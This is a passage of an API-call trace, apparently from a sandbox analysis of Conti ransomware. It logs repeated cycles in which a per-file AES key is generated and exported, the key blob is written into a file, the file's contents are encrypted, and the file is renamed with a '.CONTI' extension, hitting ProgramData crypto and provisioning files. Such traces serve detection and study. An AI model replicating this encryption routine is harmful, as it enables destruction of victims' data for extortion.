	[0101.776] WriteFile (in: hFile=0x3b4, lpBuffer=0x17e86c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x17e86c4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0102.636] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.636] ReadFile (in: hFile=0x3b4, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x566, lpOverlapped=0x0) returned 1
	[0102.636] CryptEncrypt (in: hKey=0x17c7f30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x566, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x570) returned 1
	[0102.636] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.636] WriteFile (in: hFile=0x3b4, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x570, lpOverlapped=0x0) returned 1
	[0102.637] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.637] WriteFile (in: hFile=0x3b4, lpBuffer=0x17e86b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x17e86b8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0102.637] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.637] CloseHandle (hObject=0x3b4) returned 1
	[0103.369] GetProcessHeap () returned 0x1720000
	[0103.369] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6535fd8
	[0103.370] lstrcpyW (in: lpString1=0x6535fd8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml"
	[0103.370] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.CONTI"
	[0103.370] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml.conti")) returned 1
	[0103.847] GetProcessHeap () returned 0x1720000
	[0103.847] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6535fd8 | out: hHeap=0x1720000) returned 1
	[0103.847] CryptDestroyKey (hKey=0x17c7f30) returned 1
	[0103.847] GetProcessHeap () returned 0x1720000
	[0103.847] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e4158 | out: hHeap=0x1720000) returned 1
	[0103.847] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0104.215] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x17d58c0 | out: phKey=0x17d58c0*=0x17c7eb0) returned 1
	[0104.215] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d58c4, pdwDataLen=0x55ffb34 | out: pbData=0x17d58c4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0104.217] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71")) returned 0x24
	[0104.217] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0104.217] GetLastError () returned 0x0
	[0104.217] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=56) returned 1
	[0104.217] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x38
	[0104.217] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.217] SetEndOfFile (hFile=0x3a0) returned 1
	[0104.218] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.218] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.218] WriteFile (in: hFile=0x3a0, lpBuffer=0x17d58c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x17d58c4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0104.220] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.220] ReadFile (in: hFile=0x3a0, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x38, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x38, lpOverlapped=0x0) returned 1
	[0104.220] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x38, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x40) returned 1
	[0104.220] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.220] WriteFile (in: hFile=0x3a0, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x40, lpOverlapped=0x0) returned 1
	[0104.220] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.220] WriteFile (in: hFile=0x3a0, lpBuffer=0x17d58b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x17d58b8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0104.220] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.220] CloseHandle (hObject=0x3a0) returned 1
	[0104.220] GetProcessHeap () returned 0x1720000
	[0104.220] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17ea448
	[0104.220] lstrcpyW (in: lpString1=0x17ea448, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"
	[0104.220] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.CONTI") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.CONTI"
	[0104.221] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"), lpNewFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.CONTI" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.conti")) returned 1
	[0104.221] GetProcessHeap () returned 0x1720000
	[0104.221] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ea448 | out: hHeap=0x1720000) returned 1
	[0104.221] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0104.221] GetProcessHeap () returned 0x1720000
	[0104.221] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8a18 | out: hHeap=0x1720000) returned 1
	[0104.221] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0107.331] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x17d31f8 | out: phKey=0x17d31f8*=0x17c7f70) returned 1
	[0107.331] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d31fc, pdwDataLen=0x55ffb34 | out: pbData=0x17d31fc*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0107.335] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml")) returned 0x20
	[0107.335] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0107.336] GetLastError () returned 0x0
	[0107.336] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=271) returned 1
	[0107.336] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0107.336] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.336] SetEndOfFile (hFile=0x390) returned 1
	[0107.336] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.337] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.337] WriteFile (in: hFile=0x390, lpBuffer=0x17d31fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x17d31fc*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0107.338] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.338] ReadFile (in: hFile=0x390, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x10f, lpOverlapped=0x0) returned 1
	[0107.338] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x10f, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x110) returned 1
	[0107.338] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.338] WriteFile (in: hFile=0x390, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x110, lpOverlapped=0x0) returned 1
	[0107.339] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.339] WriteFile (in: hFile=0x390, lpBuffer=0x17d31f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x17d31f0*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0107.339] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.339] CloseHandle (hObject=0x390) returned 1
	[0107.339] GetProcessHeap () returned 0x1720000
	[0107.339] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.340] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml"
	[0107.340] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.CONTI"
	[0107.340] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml.conti")) returned 1
	[0107.340] GetProcessHeap () returned 0x1720000
	[0107.340] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.340] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0107.340] GetProcessHeap () returned 0x1720000
	[0107.340] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d4a8 | out: hHeap=0x1720000) returned 1
	[0107.340] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0108.102] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6514518 | out: phKey=0x6514518*=0x17c8330) returned 1
	[0108.102] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x651451c, pdwDataLen=0x55ffb34 | out: pbData=0x651451c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0108.105] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.105] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.105] GetLastError () returned 0x0
	[0108.105] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=718) returned 1
	[0108.105] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ce
	[0108.106] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.106] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.106] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.106] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.106] WriteFile (in: hFile=0x3c4, lpBuffer=0x651451c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x651451c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0108.107] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.107] ReadFile (in: hFile=0x3c4, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2ce, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2ce, lpOverlapped=0x0) returned 1
	[0108.108] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2ce, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2d0) returned 1
	[0108.108] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.108] WriteFile (in: hFile=0x3c4, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2d0, lpOverlapped=0x0) returned 1
	[0108.108] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.108] WriteFile (in: hFile=0x3c4, lpBuffer=0x6514510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6514510*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0108.108] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.108] CloseHandle (hObject=0x3c4) returned 1
	[0108.108] GetProcessHeap () returned 0x1720000
	[0108.108] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.108] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml"
	[0108.108] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.108] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.109] GetProcessHeap () returned 0x1720000
	[0108.109] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.109] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0108.109] GetProcessHeap () returned 0x1720000
	[0108.109] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bcbc8 | out: hHeap=0x1720000) returned 1
	[0108.109] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0108.383] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x17d61e0 | out: phKey=0x17d61e0*=0x17c7cb0) returned 1
	[0108.383] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d61e4, pdwDataLen=0x55ffb34 | out: pbData=0x17d61e4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0108.654] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.960] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0109.967] GetLastError () returned 0x0
	[0109.967] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=701) returned 1
	[0109.967] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bd
	[0109.972] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.972] SetEndOfFile (hFile=0x3d4) returned 1
	[0110.476] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
